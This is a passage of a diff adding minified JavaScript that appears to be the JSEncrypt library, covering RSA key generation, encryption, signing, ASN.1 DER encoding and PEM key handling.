16) && (t = e, i += 16), 0 != (e = t >> 8) && (t = e, i += 8), 0 != (e = t >> 4) && (t = e, i += 4), 0 != (e = t >> 2) && (t = e, i += 2), 0 != (e = t >> 1) && (t = e, i += 1), i + } + + B.ZERO = C(0), B.ONE = C(1); + var U, K, k = function () { + function t() { + this.i = 0, this.j = 0, this.S = [] + } + + return t.prototype.init = function (t) { + var e, i, r; + for (e = 0; e < 256; ++e) this.S[e] = e; + for (i = 0, e = 0; e < 256; ++e) i = i + this.S[e] + t[e % t.length] & 255, r = this.S[e], this.S[e] = this.S[i], this.S[i] = r; + this.i = 0, this.j = 0 + }, t.prototype.next = function () { + var t; + return this.i = this.i + 1 & 255, this.j = this.j + this.S[this.i] & 255, t = this.S[this.i], this.S[this.i] = this.S[this.j], this.S[this.j] = t, this.S[t + this.S[this.i] & 255] + }, t + }(), _ = null; + if (null == _) { + _ = [], K = 0; + var z = void 0; + if (window.crypto && window.crypto.getRandomValues) { + var Z = new Uint32Array(256); + for (window.crypto.getRandomValues(Z), z = 0; z < Z.length; ++z) _[K++] = 255 & Z[z] + } + var G = 0, $ = function (t) { + if ((G = G || 0) >= 256 || K >= 256) window.removeEventListener ? window.removeEventListener("mousemove", $, !1) : window.detachEvent && window.detachEvent("onmousemove", $); else try { + var e = t.x + t.y; + _[K++] = 255 & e, G += 1 + } catch (t) { + } + }; + window.addEventListener ? window.addEventListener("mousemove", $, !1) : window.attachEvent && window.attachEvent("onmousemove", $) + } + + function Y() { + if (null == U) { + for (U = new k; K < 256;) { + var t = Math.floor(65536 * Math.random()); + _[K++] = 255 & t + } + for (U.init(_), K = 0; K < _.length; ++K) _[K] = 0; + K = 0 + } + return U.next() + } + + var J = function () { + function t() { + } + + return t.prototype.nextBytes = function (t) { + for (var e = 0; e < t.length; ++e) t[e] = Y() + }, t + }(), X = function () { + function t() { + this.n = null, this.e = 0, this.d = null, this.p = null, this.q = null, this.dmp1 = null, this.dmq1 = null, this.coeff = null + } + + return t.prototype.doPublic = function (t) { + return t.modPowInt(this.e, this.n) + }, t.prototype.doPrivate = function (t) { + if (null == this.p || null == this.q) return t.modPow(this.d, this.n); + for (var e = t.mod(this.p).modPow(this.dmp1, this.p), i = t.mod(this.q).modPow(this.dmq1, this.q); e.compareTo(i) < 0;) e = e.add(this.p); + return e.subtract(i).multiply(this.coeff).mod(this.p).multiply(this.q).add(i) + }, t.prototype.setPublic = function (t, e) { + null != t && null != e && t.length > 0 && e.length > 0 ? (this.n = P(t, 16), this.e = parseInt(e, 16)) : console.error("Invalid RSA public key") + }, t.prototype.encrypt = function (t) { + var e = function (t, e) { + if (e < t.length + 11) return console.error("Message too long for RSA"), null; + for (var i = [], r = t.length - 1; r >= 0 && e > 0;) { + var n = t.charCodeAt(r--); + n < 128 ? i[--e] = n : n > 127 && n < 2048 ? (i[--e] = 63 & n | 128, i[--e] = n >> 6 | 192) : (i[--e] = 63 & n | 128, i[--e] = n >> 6 & 63 | 128, i[--e] = n >> 12 | 224) + } + i[--e] = 0; + for (var s = new J, o = []; e > 2;) { + for (o[0] = 0; 0 == o[0];) s.nextBytes(o); + i[--e] = o[0] + } + return i[--e] = 2, i[--e] = 0, new B(i) + }(t, this.n.bitLength() + 7 >> 3); + if (null == e) return null; + var i = this.doPublic(e); + if (null == i) return null; + var r = i.toString(16); + return 0 == (1 & r.length) ? r : "0" + r + }, t.prototype.setPrivate = function (t, e, i) { + null != t && null != e && t.length > 0 && e.length > 0 ? (this.n = P(t, 16), this.e = parseInt(e, 16), this.d = P(i, 16)) : console.error("Invalid RSA private key") + }, t.prototype.setPrivateEx = function (t, e, i, r, n, s, o, h) { + null != t && null != e && t.length > 0 && e.length > 0 ? (this.n = P(t, 16), this.e = parseInt(e, 16), this.d = P(i, 16), this.p = P(r, 16), this.q = P(n, 16), this.dmp1 = P(s, 16), this.dmq1 = P(o, 16), this.coeff = P(h, 16)) : console.error("Invalid RSA private key") + }, t.prototype.generate = function (t, e) { + var i = new J, r = t >> 1; + this.e = parseInt(e, 16); + for (var n = new B(e, 16); ;) { + for (; this.p = new B(t - r, 1, i), 0 != this.p.subtract(B.ONE).gcd(n).compareTo(B.ONE) || !this.p.isProbablePrime(10);) ; + for (; this.q = new B(r, 1, i), 0 != this.q.subtract(B.ONE).gcd(n).compareTo(B.ONE) || !this.q.isProbablePrime(10);) ; + if (this.p.compareTo(this.q) <= 0) { + var s = this.p; + this.p = this.q, this.q = s + } + var o = this.p.subtract(B.ONE), h = this.q.subtract(B.ONE), a = o.multiply(h); + if (0 == a.gcd(n).compareTo(B.ONE)) { + this.n = this.p.multiply(this.q), this.d = n.modInverse(a), this.dmp1 = this.d.mod(o), this.dmq1 = this.d.mod(h), this.coeff = this.q.modInverse(this.p); + break + } + } + }, t.prototype.decrypt = function (t) { + var e = P(t, 16), i = this.doPrivate(e); + return null == i ? null : function (t, e) { + for (var i = t.toByteArray(), r = 0; r < i.length && 0 == i[r];) ++r; + if (i.length - r != e - 1 || 2 != i[r]) return null; + for (++r; 0 != i[r];) if (++r >= i.length) return null; + for (var n = ""; ++r < i.length;) { + var s = 255 & i[r]; + s < 128 ? n += String.fromCharCode(s) : s > 191 && s < 224 ? (n += String.fromCharCode((31 & s) << 6 | 63 & i[r + 1]), ++r) : (n += String.fromCharCode((15 & s) << 12 | (63 & i[r + 1]) << 6 | 63 & i[r + 2]), r += 2) + } + return n + }(i, this.n.bitLength() + 7 >> 3) + }, t.prototype.generateAsync = function (t, e, i) { + var r = new J, n = t >> 1; + this.e = parseInt(e, 16); + var s = new B(e, 16), o = this, h = function () { + var e = function () { + if (o.p.compareTo(o.q) <= 0) { + var t = o.p; + o.p = o.q, o.q = t + } + var e = o.p.subtract(B.ONE), r = o.q.subtract(B.ONE), n = e.multiply(r); + 0 == n.gcd(s).compareTo(B.ONE) ? (o.n = o.p.multiply(o.q), o.d = s.modInverse(n), o.dmp1 = o.d.mod(e), o.dmq1 = o.d.mod(r), o.coeff = o.q.modInverse(o.p), setTimeout((function () { + i() + }), 0)) : setTimeout(h, 0) + }, a = function () { + o.q = N(), o.q.fromNumberAsync(n, 1, r, (function () { + o.q.subtract(B.ONE).gcda(s, (function (t) { + 0 == t.compareTo(B.ONE) && o.q.isProbablePrime(10) ? setTimeout(e, 0) : setTimeout(a, 0) + })) + })) + }, u = function () { + o.p = N(), o.p.fromNumberAsync(t - n, 1, r, (function () { + o.p.subtract(B.ONE).gcda(s, (function (t) { + 0 == t.compareTo(B.ONE) && o.p.isProbablePrime(10) ? setTimeout(a, 0) : setTimeout(u, 0) + })) + })) + }; + setTimeout(u, 0) + }; + setTimeout(h, 0) + }, t.prototype.sign = function (t, e, i) { + var r = function (t, e) { + if (e < t.length + 22) return console.error("Message too long for RSA"), null; + for (var i = e - t.length - 6, r = "", n = 0; n < i; n += 2) r += "ff"; + return P("0001" + r + "00" + t, 16) + }((Q[i] || "") + e(t).toString(), this.n.bitLength() / 4); + if (null == r) return null; + var n = this.doPrivate(r); + if (null == n) return null; + var s = n.toString(16); + return 0 == (1 & s.length) ? s : "0" + s + }, t.prototype.verify = function (t, e, i) { + var r = P(e, 16), n = this.doPublic(r); + return null == n ? null : function (t) { + for (var e in Q) if (Q.hasOwnProperty(e)) { + var i = Q[e], r = i.length; + if (t.substr(0, r) == i) return t.substr(r) + } + return t + }(n.toString(16).replace(/^1f+00/, "")) == i(t).toString() + }, t + }(), Q = { + md2: "3020300c06082a864886f70d020205000410", + md5: "3020300c06082a864886f70d020505000410", + sha1: "3021300906052b0e03021a05000414", + sha224: "302d300d06096086480165030402040500041c", + sha256: "3031300d060960864801650304020105000420", + sha384: "3041300d060960864801650304020205000430", + sha512: "3051300d060960864801650304020305000440", + ripemd160: "3021300906052b2403020105000414" + }, W = {}; + W.lang = { + extend: function (t, e, i) { + if (!e || !t) throw new Error("YAHOO.lang.extend failed, please check that all dependencies are included."); + var r = function () { + }; + if (r.prototype = e.prototype, t.prototype = new r, t.prototype.constructor = t, t.superclass = e.prototype, e.prototype.constructor == Object.prototype.constructor && (e.prototype.constructor = e), i) { + var n; + for (n in i) t.prototype[n] = i[n]; + var s = function () { + }, o = ["toString", "valueOf"]; + try { + /MSIE/.test(navigator.userAgent) && (s = function (t, e) { + for (n = 0; n < o.length; n += 1) { + var i = o[n], r = e[i]; + "function" == typeof r && r != Object.prototype[i] && (t[i] = r) + } + }) + } catch (t) { + } + s(t.prototype, i) + } + } + }; + var tt = {}; + void 0 !== tt.asn1 && tt.asn1 || (tt.asn1 = {}), tt.asn1.ASN1Util = new function () { + this.integerToByteHex = function (t) { + var e = t.toString(16); + return e.length % 2 == 1 && (e = "0" + e), e + }, this.bigIntToMinTwosComplementsHex = function (t) { + var e = t.toString(16); + if ("-" != e.substr(0, 1)) e.length % 2 == 1 ? e = "0" + e : e.match(/^[0-7]/) || (e = "00" + e); else { + var i = e.substr(1).length; + i % 2 == 1 ? i += 1 : e.match(/^[0-7]/) || (i += 2); + for (var r = "", n = 0; n < i; n++) r += "f"; + e = new B(r, 16).xor(t).add(B.ONE).toString(16).replace(/^-/, "") + } + return e + }, this.getPEMStringFromHex = function (t, e) { + return hextopem(t, e) + }, this.newObject = function (t) { + var e = tt.asn1, i = e.DERBoolean, r = e.DERInteger, n = e.DERBitString, s = e.DEROctetString, + o = e.DERNull, h = e.DERObjectIdentifier, a = e.DEREnumerated, u = e.DERUTF8String, + c = e.DERNumericString, f = e.DERPrintableString, l = e.DERTeletexString, + p = e.DERIA5String, g = e.DERUTCTime, d = e.DERGeneralizedTime, v = e.DERSequence, + m = e.DERSet, y = e.DERTaggedObject, b = e.ASN1Util.newObject, T = Object.keys(t); + if (1 != T.length) throw"key of param shall be only one."; + var S = T[0]; + if (-1 == ":bool:int:bitstr:octstr:null:oid:enum:utf8str:numstr:prnstr:telstr:ia5str:utctime:gentime:seq:set:tag:".indexOf(":" + S + ":")) throw"undefined key: " + S; + if ("bool" == S) return new i(t[S]); + if ("int" == S) return new r(t[S]); + if ("bitstr" == S) return new n(t[S]); + if ("octstr" == S) return new s(t[S]); + if ("null" == S) return new o(t[S]); + if ("oid" == S) return new h(t[S]); + if ("enum" == S) return new a(t[S]); + if ("utf8str" == S) return new u(t[S]); + if ("numstr" == S) return new c(t[S]); + if ("prnstr" == S) return new f(t[S]); + if ("telstr" == S) return new l(t[S]); + if ("ia5str" == S) return new p(t[S]); + if ("utctime" == S) return new g(t[S]); + if ("gentime" == S) return new d(t[S]); + if ("seq" == S) { + for (var E = t[S], w = [], D = 0; D < E.length; D++) { + var x = b(E[D]); + w.push(x) + } + return new v({array: w}) + } + if ("set" == S) { + for (E = t[S], w = [], D = 0; D < E.length; D++) x = b(E[D]), w.push(x); + return new m({array: w}) + } + if ("tag" == S) { + var R = t[S]; + if ("[object Array]" === Object.prototype.toString.call(R) && 3 == R.length) { + var B = b(R[2]); + return new y({tag: R[0], explicit: R[1], obj: B}) + } + var O = {}; + if (void 0 !== R.explicit && (O.explicit = R.explicit), void 0 !== R.tag && (O.tag = R.tag), void 0 === R.obj) throw"obj shall be specified for 'tag'."; + return O.obj = b(R.obj), new y(O) + } + }, this.jsonToASN1HEX = function (t) { + return this.newObject(t).getEncodedHex() + } + }, tt.asn1.ASN1Util.oidHexToInt = function (t) { + for (var e = "", i = parseInt(t.substr(0, 2), 16), r = (e = Math.floor(i / 40) + "." + i % 40, ""), n = 2; n < t.length; n += 2) { + var s = ("00000000" + parseInt(t.substr(n, 2), 16).toString(2)).slice(-8); + r += s.substr(1, 7), "0" == s.substr(0, 1) && (e = e + "." + new B(r, 2).toString(10), r = "") + } + return e + }, tt.asn1.ASN1Util.oidIntToHex = function (t) { + var e = function (t) { + var e = t.toString(16); + return 1 == e.length && (e = "0" + e), e + }, i = function (t) { + var i = "", r = new B(t, 10).toString(2), n = 7 - r.length % 7; + 7 == n && (n = 0); + for (var s = "", o = 0; o < n; o++) s += "0"; + for (r = s + r, o = 0; o < r.length - 1; o += 7) { + var h = r.substr(o, 7); + o != r.length - 7 && (h = "1" + h), i += e(parseInt(h, 2)) + } + return i + }; + if (!t.match(/^[0-9.]+$/)) throw"malformed oid string: " + t; + var r = "", n = t.split("."), s = 40 * parseInt(n[0]) + parseInt(n[1]); + r += e(s), n.splice(0, 2); + for (var o = 0; o < n.length; o++) r += i(n[o]); + return r + }, tt.asn1.ASN1Object = function () { + this.getLengthHexFromValue = function () { + if (void 0 === this.hV || null == this.hV) throw"this.hV is null or undefined."; + if (this.hV.length % 2 == 1) throw"value hex must be even length: n=" + "".length + ",v=" + this.hV; + var t = this.hV.length / 2, e = t.toString(16); + if (e.length % 2 == 1 && (e = "0" + e), t < 128) return e; + var i = e.length / 2; + if (i > 15) throw"ASN.1 length too long to represent by 8x: n = " + t.toString(16); + return (128 + i).toString(16) + e + }, this.getEncodedHex = function () { + return (null == this.hTLV || this.isModified) && (this.hV = this.getFreshValueHex(), this.hL = this.getLengthHexFromValue(), this.hTLV = this.hT + this.hL + this.hV, this.isModified = !1), this.hTLV + }, this.getValueHex = function () { + return this.getEncodedHex(), this.hV + }, this.getFreshValueHex = function () { + return "" + } + }, tt.asn1.DERAbstractString = function (t) { + tt.asn1.DERAbstractString.superclass.constructor.call(this), this.getString = function () { + return this.s + }, this.setString = function (t) { + this.hTLV = null, this.isModified = !0, this.s = t, this.hV = stohex(this.s) + }, this.setStringHex = function (t) { + this.hTLV = null, this.isModified = !0, this.s = null, this.hV = t + }, this.getFreshValueHex = function () { + return this.hV + }, void 0 !== t && ("string" == typeof t ? this.setString(t) : void 0 !== t.str ? this.setString(t.str) : void 0 !== t.hex && this.setStringHex(t.hex)) + }, W.lang.extend(tt.asn1.DERAbstractString, tt.asn1.ASN1Object), tt.asn1.DERAbstractTime = function (t) { + tt.asn1.DERAbstractTime.superclass.constructor.call(this), this.localDateToUTC = function (t) { + return utc = t.getTime() + 6e4 * t.getTimezoneOffset(), new Date(utc) + }, this.formatDate = function (t, e, i) { + var r = this.zeroPadding, n = this.localDateToUTC(t), s = String(n.getFullYear()); + "utc" == e && (s = s.substr(2, 2)); + var o = s + r(String(n.getMonth() + 1), 2) + r(String(n.getDate()), 2) + r(String(n.getHours()), 2) + r(String(n.getMinutes()), 2) + r(String(n.getSeconds()), 2); + if (!0 === i) { + var h = n.getMilliseconds(); + if (0 != h) { + var a = r(String(h), 3); + o = o + "." + (a = a.replace(/[0]+$/, "")) + } + } + return o + "Z" + }, this.zeroPadding = function (t, e) { + return t.length >= e ? t : new Array(e - t.length + 1).join("0") + t + }, this.getString = function () { + return this.s + }, this.setString = function (t) { + this.hTLV = null, this.isModified = !0, this.s = t, this.hV = stohex(t) + }, this.setByDateValue = function (t, e, i, r, n, s) { + var o = new Date(Date.UTC(t, e - 1, i, r, n, s, 0)); + this.setByDate(o) + }, this.getFreshValueHex = function () { + return this.hV + } + }, W.lang.extend(tt.asn1.DERAbstractTime, tt.asn1.ASN1Object), tt.asn1.DERAbstractStructured = function (t) { + tt.asn1.DERAbstractString.superclass.constructor.call(this), this.setByASN1ObjectArray = function (t) { + this.hTLV = null, this.isModified = !0, this.asn1Array = t + }, this.appendASN1Object = function (t) { + this.hTLV = null, this.isModified = !0, this.asn1Array.push(t) + }, this.asn1Array = new Array, void 0 !== t && void 0 !== t.array && (this.asn1Array = t.array) + }, W.lang.extend(tt.asn1.DERAbstractStructured, tt.asn1.ASN1Object), tt.asn1.DERBoolean = function () { + tt.asn1.DERBoolean.superclass.constructor.call(this), this.hT = "01", this.hTLV = "0101ff" + }, W.lang.extend(tt.asn1.DERBoolean, tt.asn1.ASN1Object), tt.asn1.DERInteger = function (t) { + tt.asn1.DERInteger.superclass.constructor.call(this), this.hT = "02", this.setByBigInteger = function (t) { + this.hTLV = null, this.isModified = !0, this.hV = tt.asn1.ASN1Util.bigIntToMinTwosComplementsHex(t) + }, this.setByInteger = function (t) { + var e = new B(String(t), 10); + this.setByBigInteger(e) + }, this.setValueHex = function (t) { + this.hV = t + }, this.getFreshValueHex = function () { + return this.hV + }, void 0 !== t && (void 0 !== t.bigint ? this.setByBigInteger(t.bigint) : void 0 !== t.int ? this.setByInteger(t.int) : "number" == typeof t ? this.setByInteger(t) : void 0 !== t.hex && this.setValueHex(t.hex)) + }, W.lang.extend(tt.asn1.DERInteger, tt.asn1.ASN1Object), tt.asn1.DERBitString = function (t) { + if (void 0 !== t && void 0 !== t.obj) { + var e = tt.asn1.ASN1Util.newObject(t.obj); + t.hex = "00" + e.getEncodedHex() + } + tt.asn1.DERBitString.superclass.constructor.call(this), this.hT = "03", this.setHexValueIncludingUnusedBits = function (t) { + this.hTLV = null, this.isModified = !0, this.hV = t + }, this.setUnusedBitsAndHexValue = function (t, e) { + if (t < 0 || 7 < t) throw"unused bits shall be from 0 to 7: u = " + t; + var i = "0" + t; + this.hTLV = null, this.isModified = !0, this.hV = i + e + }, this.setByBinaryString = function (t) { + var e = 8 - (t = t.replace(/0+$/, "")).length % 8; + 8 == e && (e = 0); + for (var i = 0; i <= e; i++) t += "0"; + var r = ""; + for (i = 0; i < t.length - 1; i += 8) { + var n = t.substr(i, 8), s = parseInt(n, 2).toString(16); + 1 == s.length && (s = "0" + s), r += s + } + this.hTLV = null, this.isModified = !0, this.hV = "0" + e + r + }, this.setByBooleanArray = function (t) { + for (var e = "", i = 0; i < t.length; i++) 1 == t[i] ? e += "1" : e += "0"; + this.setByBinaryString(e) + }, this.newFalseArray = function (t) { + for (var e = new Array(t), i = 0; i < t; i++) e[i] = !1; + return e + }, this.getFreshValueHex = function () { + return this.hV + }, void 0 !== t && ("string" == typeof t && t.toLowerCase().match(/^[0-9a-f]+$/) ? this.setHexValueIncludingUnusedBits(t) : void 0 !== t.hex ? this.setHexValueIncludingUnusedBits(t.hex) : void 0 !== t.bin ? this.setByBinaryString(t.bin) : void 0 !== t.array && this.setByBooleanArray(t.array)) + }, W.lang.extend(tt.asn1.DERBitString, tt.asn1.ASN1Object), tt.asn1.DEROctetString = function (t) { + if (void 0 !== t && void 0 !== t.obj) { + var e = tt.asn1.ASN1Util.newObject(t.obj); + t.hex = e.getEncodedHex() + } + tt.asn1.DEROctetString.superclass.constructor.call(this, t), this.hT = "04" + }, W.lang.extend(tt.asn1.DEROctetString, tt.asn1.DERAbstractString), tt.asn1.DERNull = function () { + tt.asn1.DERNull.superclass.constructor.call(this), this.hT = "05", this.hTLV = "0500" + }, W.lang.extend(tt.asn1.DERNull, tt.asn1.ASN1Object), tt.asn1.DERObjectIdentifier = function (t) { + var e = function (t) { + var e = t.toString(16); + return 1 == e.length && (e = "0" + e), e + }, i = function (t) { + var i = "", r = new B(t, 10).toString(2), n = 7 - r.length % 7; + 7 == n && (n = 0); + for (var s = "", o = 0; o < n; o++) s += "0"; + for (r = s + r, o = 0; o < r.length - 1; o += 7) { + var h = r.substr(o, 7); + o != r.length - 7 && (h = "1" + h), i += e(parseInt(h, 2)) + } + return i + }; + tt.asn1.DERObjectIdentifier.superclass.constructor.call(this), this.hT = "06", this.setValueHex = function (t) { + this.hTLV = null, this.isModified = !0, this.s = null, this.hV = t + }, this.setValueOidString = function (t) { + if (!t.match(/^[0-9.]+$/)) throw"malformed oid string: " + t; + var r = "", n = t.split("."), s = 40 * parseInt(n[0]) + parseInt(n[1]); + r += e(s), n.splice(0, 2); + for (var o = 0; o < n.length; o++) r += i(n[o]); + this.hTLV = null, this.isModified = !0, this.s = null, this.hV = r + }, this.setValueName = function (t) { + var e = tt.asn1.x509.OID.name2oid(t); + if ("" === e) throw"DERObjectIdentifier oidName undefined: " + t; + this.setValueOidString(e) + }, this.getFreshValueHex = function () { + return this.hV + }, void 0 !== t && ("string" == typeof t ? t.match(/^[0-2].[0-9.]+$/) ? this.setValueOidString(t) : this.setValueName(t) : void 0 !== t.oid ? this.setValueOidString(t.oid) : void 0 !== t.hex ? this.setValueHex(t.hex) : void 0 !== t.name && this.setValueName(t.name)) + }, W.lang.extend(tt.asn1.DERObjectIdentifier, tt.asn1.ASN1Object), tt.asn1.DEREnumerated = function (t) { + tt.asn1.DEREnumerated.superclass.constructor.call(this), this.hT = "0a", this.setByBigInteger = function (t) { + this.hTLV = null, this.isModified = !0, this.hV = tt.asn1.ASN1Util.bigIntToMinTwosComplementsHex(t) + }, this.setByInteger = function (t) { + var e = new B(String(t), 10); + this.setByBigInteger(e) + }, this.setValueHex = function (t) { + this.hV = t + }, this.getFreshValueHex = function () { + return this.hV + }, void 0 !== t && (void 0 !== t.int ? this.setByInteger(t.int) : "number" == typeof t ? this.setByInteger(t) : void 0 !== t.hex && this.setValueHex(t.hex)) + }, W.lang.extend(tt.asn1.DEREnumerated, tt.asn1.ASN1Object), tt.asn1.DERUTF8String = function (t) { + tt.asn1.DERUTF8String.superclass.constructor.call(this, t), this.hT = "0c" + }, W.lang.extend(tt.asn1.DERUTF8String, tt.asn1.DERAbstractString), tt.asn1.DERNumericString = function (t) { + tt.asn1.DERNumericString.superclass.constructor.call(this, t), this.hT = "12" + }, W.lang.extend(tt.asn1.DERNumericString, tt.asn1.DERAbstractString), tt.asn1.DERPrintableString = function (t) { + tt.asn1.DERPrintableString.superclass.constructor.call(this, t), this.hT = "13" + }, W.lang.extend(tt.asn1.DERPrintableString, tt.asn1.DERAbstractString), tt.asn1.DERTeletexString = function (t) { + tt.asn1.DERTeletexString.superclass.constructor.call(this, t), this.hT = "14" + }, W.lang.extend(tt.asn1.DERTeletexString, tt.asn1.DERAbstractString), tt.asn1.DERIA5String = function (t) { + tt.asn1.DERIA5String.superclass.constructor.call(this, t), this.hT = "16" + }, W.lang.extend(tt.asn1.DERIA5String, tt.asn1.DERAbstractString), tt.asn1.DERUTCTime = function (t) { + tt.asn1.DERUTCTime.superclass.constructor.call(this, t), this.hT = "17", this.setByDate = function (t) { + this.hTLV = null, this.isModified = !0, this.date = t, this.s = this.formatDate(this.date, "utc"), this.hV = stohex(this.s) + }, this.getFreshValueHex = function () { + return void 0 === this.date && void 0 === this.s && (this.date = new Date, this.s = this.formatDate(this.date, "utc"), this.hV = stohex(this.s)), this.hV + }, void 0 !== t && (void 0 !== t.str ? this.setString(t.str) : "string" == typeof t && t.match(/^[0-9]{12}Z$/) ? this.setString(t) : void 0 !== t.hex ? this.setStringHex(t.hex) : void 0 !== t.date && this.setByDate(t.date)) + }, W.lang.extend(tt.asn1.DERUTCTime, tt.asn1.DERAbstractTime), tt.asn1.DERGeneralizedTime = function (t) { + tt.asn1.DERGeneralizedTime.superclass.constructor.call(this, t), this.hT = "18", this.withMillis = !1, this.setByDate = function (t) { + this.hTLV = null, this.isModified = !0, this.date = t, this.s = this.formatDate(this.date, "gen", this.withMillis), this.hV = stohex(this.s) + }, this.getFreshValueHex = function () { + return void 0 === this.date && void 0 === this.s && (this.date = new Date, this.s = this.formatDate(this.date, "gen", this.withMillis), this.hV = stohex(this.s)), this.hV + }, void 0 !== t && (void 0 !== t.str ? this.setString(t.str) : "string" == typeof t && t.match(/^[0-9]{14}Z$/) ? this.setString(t) : void 0 !== t.hex ? this.setStringHex(t.hex) : void 0 !== t.date && this.setByDate(t.date), !0 === t.millis && (this.withMillis = !0)) + }, W.lang.extend(tt.asn1.DERGeneralizedTime, tt.asn1.DERAbstractTime), tt.asn1.DERSequence = function (t) { + tt.asn1.DERSequence.superclass.constructor.call(this, t), this.hT = "30", this.getFreshValueHex = function () { + for (var t = "", e = 0; e < this.asn1Array.length; e++) t += this.asn1Array[e].getEncodedHex(); + return this.hV = t, this.hV + } + }, W.lang.extend(tt.asn1.DERSequence, tt.asn1.DERAbstractStructured), tt.asn1.DERSet = function (t) { + tt.asn1.DERSet.superclass.constructor.call(this, t), this.hT = "31", this.sortFlag = !0, this.getFreshValueHex = function () { + for (var t = new Array, e = 0; e < this.asn1Array.length; e++) { + var i = this.asn1Array[e]; + t.push(i.getEncodedHex()) + } + return 1 == this.sortFlag && t.sort(), this.hV = t.join(""), this.hV + }, void 0 !== t && void 0 !== t.sortflag && 0 == t.sortflag && (this.sortFlag = !1) + }, W.lang.extend(tt.asn1.DERSet, tt.asn1.DERAbstractStructured), tt.asn1.DERTaggedObject = function (t) { + tt.asn1.DERTaggedObject.superclass.constructor.call(this), this.hT = "a0", this.hV = "", this.isExplicit = !0, this.asn1Object = null, this.setASN1Object = function (t, e, i) { + this.hT = e, this.isExplicit = t, this.asn1Object = i, this.isExplicit ? (this.hV = this.asn1Object.getEncodedHex(), this.hTLV = null, this.isModified = !0) : (this.hV = null, this.hTLV = i.getEncodedHex(), this.hTLV = this.hTLV.replace(/^../, e), this.isModified = !1) + }, this.getFreshValueHex = function () { + return this.hV + }, void 0 !== t && (void 0 !== t.tag && (this.hT = t.tag), void 0 !== t.explicit && (this.isExplicit = t.explicit), void 0 !== t.obj && (this.asn1Object = t.obj, this.setASN1Object(this.isExplicit, this.hT, this.asn1Object))) + }, W.lang.extend(tt.asn1.DERTaggedObject, tt.asn1.ASN1Object); + var et, it = (et = function (t, e) { + return (et = Object.setPrototypeOf || {__proto__: []} instanceof Array && function (t, e) { + t.__proto__ = e + } || function (t, e) { + for (var i in e) Object.prototype.hasOwnProperty.call(e, i) && (t[i] = e[i]) + })(t, e) + }, function (t, e) { + function i() { + this.constructor = t + } + + et(t, e), t.prototype = null === e ? Object.create(e) : (i.prototype = e.prototype, new i) + }), rt = function (t) { + function e(i) { + var r = t.call(this) || this; + return i && ("string" == typeof i ? r.parseKey(i) : (e.hasPrivateKeyProperty(i) || e.hasPublicKeyProperty(i)) && r.parsePropertiesFrom(i)), r + } + + return it(e, t), e.prototype.parseKey = function (t) { + try { + var e = 0, i = 0, r = /^\s*(?:[0-9A-Fa-f][0-9A-Fa-f]\s*)+$/.test(t) ? function (t) { + var e; + if (void 0 === c) { + var i = "0123456789ABCDEF", r = " \f\n\r\t \u2028\u2029"; + for (c = {}, e = 0; e < 16; ++e) c[i.charAt(e)] = e; + for (i = i.toLowerCase(), e = 10; e < 16; ++e) c[i.charAt(e)] = e; + for (e = 0; e < r.length; ++e) c[r.charAt(e)] = -1 + } + var n = [], s = 0, o = 0; + for (e = 0; e < t.length; ++e) { + var h = t.charAt(e); + if ("=" == h) break; + if (-1 != (h = c[h])) { + if (void 0 === h) throw new Error("Illegal character at offset " + e); + s |= h, ++o >= 2 ? (n[n.length] = s, s = 0, o = 0) : s <<= 4 + } + } + if (o) throw new Error("Hex encoding incomplete: 4 bits missing"); + return n + }(t) : d.unarmor(t), n = w.decode(r); + if (3 === n.sub.length && (n = n.sub[2].sub[0]), 9 === n.sub.length) { + e = n.sub[1].getHexStringValue(), this.n = P(e, 16), i = n.sub[2].getHexStringValue(), this.e = parseInt(i, 16); + var s = n.sub[3].getHexStringValue(); + this.d = P(s, 16); + var o = n.sub[4].getHexStringValue(); + this.p = P(o, 16); + var h = n.sub[5].getHexStringValue(); + this.q = P(h, 16); + var a = n.sub[6].getHexStringValue(); + this.dmp1 = P(a, 16); + var u = n.sub[7].getHexStringValue(); + this.dmq1 = P(u, 16); + var f = n.sub[8].getHexStringValue(); + this.coeff = P(f, 16) + } else { + if (2 !== n.sub.length) return !1; + var l = n.sub[1].sub[0]; + e = l.sub[0].getHexStringValue(), this.n = P(e, 16), i = l.sub[1].getHexStringValue(), this.e = parseInt(i, 16) + } + return !0 + } catch (t) { + return !1 + } + }, e.prototype.getPrivateBaseKey = function () { + var t = {array: [new tt.asn1.DERInteger({int: 0}), new tt.asn1.DERInteger({bigint: this.n}), new tt.asn1.DERInteger({int: this.e}), new tt.asn1.DERInteger({bigint: this.d}), new tt.asn1.DERInteger({bigint: this.p}), new tt.asn1.DERInteger({bigint: this.q}), new tt.asn1.DERInteger({bigint: this.dmp1}), new tt.asn1.DERInteger({bigint: this.dmq1}), new tt.asn1.DERInteger({bigint: this.coeff})]}; + return new tt.asn1.DERSequence(t).getEncodedHex() + }, e.prototype.getPrivateBaseKeyB64 = function () { + return l(this.getPrivateBaseKey()) + }, e.prototype.getPublicBaseKey = function () { + var t = new tt.asn1.DERSequence({array: [new tt.asn1.DERObjectIdentifier({oid: "1.2.840.113549.1.1.1"}), new tt.asn1.DERNull]}), + e = new tt.asn1.DERSequence({array: [new tt.asn1.DERInteger({bigint: this.n}), new tt.asn1.DERInteger({int: this.e})]}), + i = new tt.asn1.DERBitString({hex: "00" + e.getEncodedHex()}); + return new tt.asn1.DERSequence({array: [t, i]}).getEncodedHex() + }, e.prototype.getPublicBaseKeyB64 = function () { + return l(this.getPublicBaseKey()) + }, e.wordwrap = function (t, e) { + if (!t) return t; + var i = "(.{1," + (e = e || 64) + "})( +|$\n?)|(.{1," + e + "})"; + return t.match(RegExp(i, "g")).join("\n") + }, e.prototype.getPrivateKey = function () { + var t = "-----BEGIN RSA PRIVATE KEY-----\n"; + return (t += e.wordwrap(this.getPrivateBaseKeyB64()) + "\n") + "-----END RSA PRIVATE KEY-----" + }, e.prototype.getPublicKey = function () { + var t = "-----BEGIN PUBLIC KEY-----\n"; + return (t += e.wordwrap(this.getPublicBaseKeyB64()) + "\n") + "-----END PUBLIC KEY-----" + }, e.hasPublicKeyProperty = function (t) { + return (t = t || {}).hasOwnProperty("n") && t.hasOwnProperty("e") + }, e.hasPrivateKeyProperty = function (t) { + return (t = t || {}).hasOwnProperty("n") && t.hasOwnProperty("e") && t.hasOwnProperty("d") && t.hasOwnProperty("p") && t.hasOwnProperty("q") && t.hasOwnProperty("dmp1") && t.hasOwnProperty("dmq1") && t.hasOwnProperty("coeff") + }, e.prototype.parsePropertiesFrom = function (t) { + this.n = t.n, this.e = t.e, t.hasOwnProperty("d") && (this.d = t.d, this.p = t.p, this.q = t.q, this.dmp1 = t.dmp1, this.dmq1 = t.dmq1, this.coeff = t.coeff) + 